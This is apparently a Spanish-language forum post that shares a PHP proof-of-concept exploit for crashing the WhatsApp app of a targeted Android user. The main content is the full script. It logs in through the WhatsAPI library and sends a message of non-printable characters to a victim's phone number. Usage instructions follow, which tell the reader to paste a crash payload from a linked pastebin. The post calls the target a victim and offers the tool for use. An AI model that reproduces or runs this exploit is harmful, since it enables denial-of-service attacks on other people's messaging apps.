[PHP] Crashear WhatsApp usando WhatsAPI

PoC WhatsApp Crash

Como siempre, en la comunidad Remote Execution, se hacen excelentes aportes, el autor de esta herramienta o exploit y de la prueba de concepto es el_rodrix, que utiliza la api WhatsAPI + un codigo en php para Crashear el whatsapp de nuestra victima. Fue probado en un telefono con android.

          <?php /* * Title: WhatsApp Remote Crash with PHP * Product: WhatsApp * Vendor Homepage: http://www.whatsapp.com * Vulnerable Version(s): 2.11.476 * Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3 * Mirror: http://pastebin.com/Ktu45GN0 * Date: 05/02/2015 * * Author Exploit: * Rodrigo Avila - @el_rodrix - <rodrigo398@hotmail.com> * Credits: * Daniel Godoy - @0xhielasangre - <danielgodoy@gobiernofederal.com> * Gonza Cabrera - @Gonnza_Cabrera - <gonnza.cabrera@gmail.com> * * Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html * http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/ * http://www.exploit-db.com/exploits/35637/ * http://www.exploit-db.com/exploits/32865/ * * Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android. * It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even * engaging in an interactive conversation over WhatsApp protocol */ require 'src/whatsprot.class.php'; function fgets_u($pStdn) { $pArr = array($pStdn); if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) { print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n"); return FALSE; } elseif ($num_changed_streams > 0) { return trim(fgets($pStdn, 1024)); } return null; } $nickname = "RemoteExecution"; $sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00) $imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc) $password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp $msg = "#RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd $usage = "USAGE: ".$_SERVER['argv'][0]." <phone>\n \tphone: full number including country code, without '+' or '00'\n"; if ($argc < 2) { echo $usage; exit(1); } if (is_numeric($_SERVER['argv'][1])){ if (strlen($_SERVER['argv'][1]) == 13){ $dst = $_SERVER['argv'][1]; echo "[] Logging in as '$nickname' ($sender)\n"; $wa = new WhatsProt($sender, $imei, $nickname, false); $wa->connect(); $wa->loginWithPassword($password); echo "\n[] Send message to $dst: $msg\n"; $wa->sendMessage($dst , $msg); echo "\n"; exit(0); }else{ echo $usage; } }else{ echo $usage; }


Modo de uso, en la consola:

php wacrash.php 549XXXXXXXXXX

Recuerden que el numerp de contacto que van a crashear debe ser de 13 dígitos.

En la variable $msg deben copiar y pegar el contenido del pastebin siguiente

http://pastebin.com/bStYBbpd